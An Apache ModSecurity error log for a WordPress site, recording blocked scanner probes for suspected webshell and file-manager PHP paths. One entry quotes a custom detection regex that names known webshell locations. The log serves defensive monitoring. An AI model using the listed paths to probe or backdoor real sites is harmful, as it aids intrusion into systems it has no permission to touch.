[Sat Apr 18 10:37:59.630183 2026] [:error] [pid 34288:tid 34302] [client 135.225.27.101:25228] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeLuh-TIiy__PtiLmpl68QAAAYo"]
[Sat Apr 18 10:38:00.344585 2026] [:error] [pid 34288:tid 34311] [client 135.225.27.101:7809] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeLuiOTIiy__PtiLmpl68wAAAZM"]
[Sat Apr 18 10:38:01.203260 2026] [:error] [pid 9970:tid 9992] [client 135.225.27.101:25210] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeLuiSYdRLRhVmaIMx0wDwAAANI"]
[Sat Apr 18 10:38:01.946798 2026] [:error] [pid 13023:tid 13031] [client 135.225.27.101:25200] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mk.php"] [unique_id "aeLuif1e7hG8DAeABB94JAAAAQY"]
[Sat Apr 18 10:38:09.164475 2026] [:error] [pid 9865:tid 9948] [client 135.225.27.101:25157] [client 135.225.27.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aeLukazb5knECIY-C-j8mgAAAIs"]
[Sat Apr 18 11:16:06.146512 2026] [:error] [pid 9863:tid 9890] [client 43.159.152.187:46040] [client 43.159.152.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeL3djjjiypiFrTucbJkawAAABE"]
[Sat Apr 18 11:35:15.565631 2026] [:error] [pid 9863:tid 9888] [client 189.85.155.151:5676] [client 189.85.155.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.85.155.151, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aeL78zjjiypiFrTucbJvzAAAAA8"]
[Sat Apr 18 12:29:45.808794 2026] [:error] [pid 9970:tid 9979] [client 4.232.146.182:25848] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow.php"] [unique_id "aeMIuSYdRLRhVmaIMx1QpgAAAMU"]
[Sat Apr 18 12:29:46.274608 2026] [:error] [pid 9865:tid 9953] [client 4.232.146.182:40731] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow.php"] [unique_id "aeMIuqzb5knECIY-C-gZtQAAAJA"]
[Sat Apr 18 12:29:46.743958 2026] [:error] [pid 9864:tid 9922] [client 4.232.146.182:29369] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow.php"] [unique_id "aeMIuoCFeowknfXHM7mWKQAAAFA"]
[Sat Apr 18 12:29:47.210852 2026] [:error] [pid 9865:tid 9946] [client 4.232.146.182:33200] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yellow.php"] [unique_id "aeMIu6zb5knECIY-C-gZtgAAAIk"]
[Sat Apr 18 12:29:47.683946 2026] [:error] [pid 9865:tid 9956] [client 4.232.146.182:44195] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/block-template-utils.php"] [unique_id "aeMIu6zb5knECIY-C-gZtwAAAJM"]
[Sat Apr 18 12:29:48.148040 2026] [:error] [pid 9865:tid 9950] [client 4.232.146.182:27059] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/block-template-utils.php"] [unique_id "aeMIvKzb5knECIY-C-gZuAAAAI0"]
[Sat Apr 18 12:29:48.618761 2026] [:error] [pid 9865:tid 9938] [client 4.232.146.182:3363] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/block-template-utils.php"] [unique_id "aeMIvKzb5knECIY-C-gZugAAAIE"]
[Sat Apr 18 12:29:49.083299 2026] [:error] [pid 9865:tid 9942] [client 4.232.146.182:29329] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/block-template-utils.php"] [unique_id "aeMIvazb5knECIY-C-gZvQAAAIU"]
[Sat Apr 18 12:29:49.549348 2026] [:error] [pid 34288:tid 34294] [client 4.232.146.182:40735] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/14.php"] [unique_id "aeMIveTIiy__PtiLmpmTnwAAAYI"]
[Sat Apr 18 12:29:50.014711 2026] [:error] [pid 9865:tid 9948] [client 4.232.146.182:55367] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/14.php"] [unique_id "aeMIvqzb5knECIY-C-gZwAAAAIs"]
[Sat Apr 18 12:29:50.479295 2026] [:error] [pid 9970:tid 9997] [client 4.232.146.182:29344] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/14.php"] [unique_id "aeMIviYdRLRhVmaIMx1QqQAAANc"]
[Sat Apr 18 12:29:50.942659 2026] [:error] [pid 9865:tid 9951] [client 4.232.146.182:54350] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/14.php"] [unique_id "aeMIvqzb5knECIY-C-gZwgAAAI4"]
[Sat Apr 18 12:29:51.409164 2026] [:error] [pid 9865:tid 9953] [client 4.232.146.182:3389] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update_with_pics.php"] [unique_id "aeMIv6zb5knECIY-C-gZxgAAAJA"]
[Sat Apr 18 12:29:51.873507 2026] [:error] [pid 9865:tid 9950] [client 4.232.146.182:3595] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update_with_pics.php"] [unique_id "aeMIv6zb5knECIY-C-gZxwAAAI0"]
[Sat Apr 18 12:29:52.338253 2026] [:error] [pid 9865:tid 9938] [client 4.232.146.182:3391] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update_with_pics.php"] [unique_id "aeMIwKzb5knECIY-C-gZyQAAAIE"]
[Sat Apr 18 12:29:52.804582 2026] [:error] [pid 9865:tid 9958] [client 4.232.146.182:29353] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/update_with_pics.php"] [unique_id "aeMIwKzb5knECIY-C-gZywAAAJU"]
[Sat Apr 18 12:29:53.270759 2026] [:error] [pid 9865:tid 9957] [client 4.232.146.182:29343] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date-object.php"] [unique_id "aeMIwazb5knECIY-C-gZzQAAAJQ"]
[Sat Apr 18 12:29:53.734758 2026] [:error] [pid 9865:tid 9951] [client 4.232.146.182:32363] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date-object.php"] [unique_id "aeMIwazb5knECIY-C-gZ0QAAAI4"]
[Sat Apr 18 12:29:54.199590 2026] [:error] [pid 9864:tid 9918] [client 4.232.146.182:29365] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date-object.php"] [unique_id "aeMIwoCFeowknfXHM7mWLgAAAEw"]
[Sat Apr 18 12:29:54.663802 2026] [:error] [pid 9864:tid 9906] [client 4.232.146.182:55412] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/date-object.php"] [unique_id "aeMIwoCFeowknfXHM7mWLwAAAEE"]
[Sat Apr 18 12:29:55.130572 2026] [:error] [pid 34290:tid 34338] [client 4.232.146.182:3606] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aeMIwxqX6WpmmAXOBi-wiwAAAdM"]
[Sat Apr 18 12:29:55.596315 2026] [:error] [pid 9863:tid 9890] [client 4.232.146.182:32376] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aeMIwzjjiypiFrTucbKHvgAAABE"]
[Sat Apr 18 12:29:56.062512 2026] [:error] [pid 9865:tid 9958] [client 4.232.146.182:37337] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aeMIxKzb5knECIY-C-gZ1AAAAJU"]
[Sat Apr 18 12:29:56.527907 2026] [:error] [pid 9970:tid 9990] [client 4.232.146.182:3611] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w-1.php"] [unique_id "aeMIxCYdRLRhVmaIMx1QrgAAANA"]
[Sat Apr 18 12:29:56.995407 2026] [:error] [pid 9970:tid 9994] [client 4.232.146.182:33169] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aeMIxCYdRLRhVmaIMx1QrwAAANQ"]
[Sat Apr 18 12:29:57.459475 2026] [:error] [pid 9970:tid 9977] [client 4.232.146.182:3627] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aeMIxSYdRLRhVmaIMx1QsQAAAMM"]
[Sat Apr 18 12:29:57.924683 2026] [:error] [pid 9865:tid 9937] [client 4.232.146.182:39210] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aeMIxazb5knECIY-C-gZ2AAAAIA"]
[Sat Apr 18 12:29:58.393972 2026] [:error] [pid 9865:tid 9950] [client 4.232.146.182:3617] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zwso.php"] [unique_id "aeMIxqzb5knECIY-C-gZ2gAAAI0"]
[Sat Apr 18 12:29:58.872294 2026] [:error] [pid 13023:tid 13038] [client 4.232.146.182:32383] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbh.php"] [unique_id "aeMIxv1e7hG8DAeABB-ivgAAAQ0"]
[Sat Apr 18 12:29:59.342995 2026] [:error] [pid 34237:tid 34245] [client 4.232.146.182:55388] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbh.php"] [unique_id "aeMIxxBmX4Wq5a6rxfYpqQAAAUY"]
[Sat Apr 18 12:29:59.807370 2026] [:error] [pid 9970:tid 9995] [client 4.232.146.182:54351] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbh.php"] [unique_id "aeMIxyYdRLRhVmaIMx1QswAAANU"]
[Sat Apr 18 12:30:00.275735 2026] [:error] [pid 34237:tid 34244] [client 4.232.146.182:55374] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bbh.php"] [unique_id "aeMIyBBmX4Wq5a6rxfYpqgAAAUU"]
[Sat Apr 18 12:30:00.741331 2026] [:error] [pid 34288:tid 34305] [client 4.232.146.182:33173] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aeMIyOTIiy__PtiLmpmTpwAAAY0"]
[Sat Apr 18 12:30:01.208207 2026] [:error] [pid 9865:tid 9951] [client 4.232.146.182:3371] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aeMIyazb5knECIY-C-gZ4AAAAI4"]
[Sat Apr 18 12:30:01.678015 2026] [:error] [pid 9865:tid 9940] [client 4.232.146.182:51620] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aeMIyazb5knECIY-C-gZ4QAAAIM"]
[Sat Apr 18 12:30:02.157294 2026] [:error] [pid 9863:tid 9878] [client 4.232.146.182:3588] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gool.php"] [unique_id "aeMIyjjjiypiFrTucbKHwQAAAAU"]
[Sat Apr 18 12:30:02.639691 2026] [:error] [pid 9863:tid 9882] [client 4.232.146.182:3335] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMIyjjjiypiFrTucbKHxAAAAAk"]
[Sat Apr 18 12:30:03.104307 2026] [:error] [pid 13023:tid 13046] [client 4.232.146.182:39187] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMIy_1e7hG8DAeABB-ivwAAARU"]
[Sat Apr 18 12:30:03.584095 2026] [:error] [pid 34290:tid 34330] [client 4.232.146.182:39200] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMIyxqX6WpmmAXOBi-wkAAAAcs"]
[Sat Apr 18 12:30:04.047968 2026] [:error] [pid 34290:tid 34324] [client 4.232.146.182:40575] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-wp-pagebuilders-BDsjLk.php"] [unique_id "aeMIzBqX6WpmmAXOBi-wkgAAAcU"]
[Sat Apr 18 12:30:04.548214 2026] [:error] [pid 34290:tid 34332] [client 4.232.146.182:39180] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeMIzBqX6WpmmAXOBi-wkwAAAc0"]
[Sat Apr 18 12:30:05.025352 2026] [:error] [pid 9863:tid 9890] [client 4.232.146.182:30450] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeMIzTjjiypiFrTucbKHyQAAABE"]
[Sat Apr 18 12:30:05.493891 2026] [:error] [pid 34288:tid 34296] [client 4.232.146.182:3621] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeMIzeTIiy__PtiLmpmTqgAAAYQ"]
[Sat Apr 18 12:30:05.960515 2026] [:error] [pid 34288:tid 34313] [client 4.232.146.182:30452] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/iiiihjwn.php"] [unique_id "aeMIzeTIiy__PtiLmpmTrAAAAZU"]
[Sat Apr 18 12:30:06.449995 2026] [:error] [pid 9970:tid 9985] [client 4.232.146.182:30428] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMIziYdRLRhVmaIMx1QtQAAAMs"]
[Sat Apr 18 12:30:06.917445 2026] [:error] [pid 34288:tid 34299] [client 4.232.146.182:32367] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMIzuTIiy__PtiLmpmTrQAAAYc"]
[Sat Apr 18 12:30:07.381489 2026] [:error] [pid 13023:tid 13044] [client 4.232.146.182:29360] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMIz_1e7hG8DAeABB-iygAAARM"]
[Sat Apr 18 12:30:07.845607 2026] [:error] [pid 9865:tid 9941] [client 4.232.146.182:48157] [client 4.232.146.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ru_RU_lite.mo.php"] [unique_id "aeMIz6zb5knECIY-C-gZ5gAAAIQ"]
